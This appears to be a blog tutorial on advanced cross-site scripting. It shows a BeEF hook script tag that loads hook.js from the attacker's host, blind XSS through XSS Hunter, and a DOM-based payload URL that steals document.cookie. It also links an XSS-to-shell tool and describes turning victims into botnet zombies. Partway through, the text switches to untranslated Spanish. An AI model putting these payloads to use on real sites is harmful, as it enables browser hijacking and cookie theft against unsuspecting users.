Cross-Site Scripting II: Advanced

This post is the continuation of another one I published a few months ago. If you haven’t read it yet, I recommend you take a look at it.

You already know that it is a Cross-Site Scripting, you know what types there are, what payloads to test, in which fields to look when you are analyzing a web, how to avoid the filters of the WAFs… Now I’m going to show you how to really take advantage of this injection.

BeEF

I’ll start with a tool called BeEF. It is already integrated in the main hacking distributions (Kali Linux, Parrot Security), just run it with ./beef-xss and enter the credentials (beef:beef by default). In the browser, go to http://127.0.0.1:3000

It is divided into server (which would be our computer) and client (which would be the victims). This tool is used to automate XSS injections, but has really interesting functions. 

For example, you can insert a JavaScript payload into the browser of the victim who infects your system. It then creates a C&C (Command and Control) channel in the victim’s browser for post-exploitation. This way we have for example <script src=”http://[tu ip]:3000/hook.js”>, and when the payload sad is put in the victim’s web, it would become a zombie of our network.

And once this happens, the possibilities are what we want: to become part of a botnet with which to perform a DDoS, spy everything you browse and write …

 

Blind XSS

Sometimes a web page can be vulnerable to Cross-Site Scripting, but no matter how much we try payloads we don’t get anything shown to us.  This happens when the execution of an XSS Stored is not visible for the attacker/user, but for the administrator. 

For example, on a page where you can put a comment that an administrator must review and approve before it is published. If that input is vulnerable, it will reach the administrator first. Of course, the more privileges the affected user has, the greater the threat.

Tools such as XSS Hunter can be used to find this type of XSS. This tool makes a copy of the image of the victim (the page you are looking at) and sends it to the XSS Hunter site. If the payload has been exploited, it warns you that the attack is successful.

In the example above, a copy of the web page on which the comment is placed would be made, but it would be sent to the XSS Hunter site instead of to the original server.

To use this tool, go to https://xsshunter,com, create an account, login to https://xsshunter.com/app and see the payloads section to get your payload. Modify that payload to your liking and watch XSS Hunter to see the execution of it. If the blind xss has worked, you receive an email with the vulnerability information:

DOM Based XSS

Una inyección DOM XSS es posible cuando un atacante puede modificar los scripts del lado del cliente de la aplicación. En esta variante de XSS el servidor no está implicado.

Se produce cuando puedes inyectar código en el DOM y hacer que lo lea el navegador del cliente, de forma que se ejecute cuando lo lea el DOM. Veamos un ejemplo:

Supongamos una página que permite elegir al usuario el idioma. Se da uno por defecto, guardado en el parámetro “default”:

Select your language:

<select><script>

document.write("<OPTION value=1>"+document.location.href.substring(document.location.href.indexOf("default=")+8)+"</OPTION>");

document.write("<OPTION value=2>English</OPTION>");

</script></select>

La página se carga al introducir una URL como la siguiente:

http://www.some.site/page.html?default=Spanish

Podemos realizar un ataque DOM Based XSS haciendo que la víctima pulse el siguiente enlace:

http://www.some.site/page.html?default=<script>alert(document.cookie)</script>


El navegador crea un objeto DOM para la página, donde en document.location contiene el payload javascript. Como no espera encontrar etiquetas HTML, el navegador lo pega en la página y después la ejecuta, ejecutando también el payload, y obtendríamos la cookie de la víctima.

 

¿De XSS a shell?

Finally, I want to leave you the github of a tool called xsser.py:

https://github.com/Varbaek/xsser 

In this link you can find a PoC that was taught in the Black Hat conference in 2017, which shows how to move from an XSS to get a shell in vBulletin, WordPress and Joomla.

And with this I end this more advanced post in which I show the potential of XSS injections.

Lethani.

Lethani

Hi! I'm the admin ;)

Leave a Reply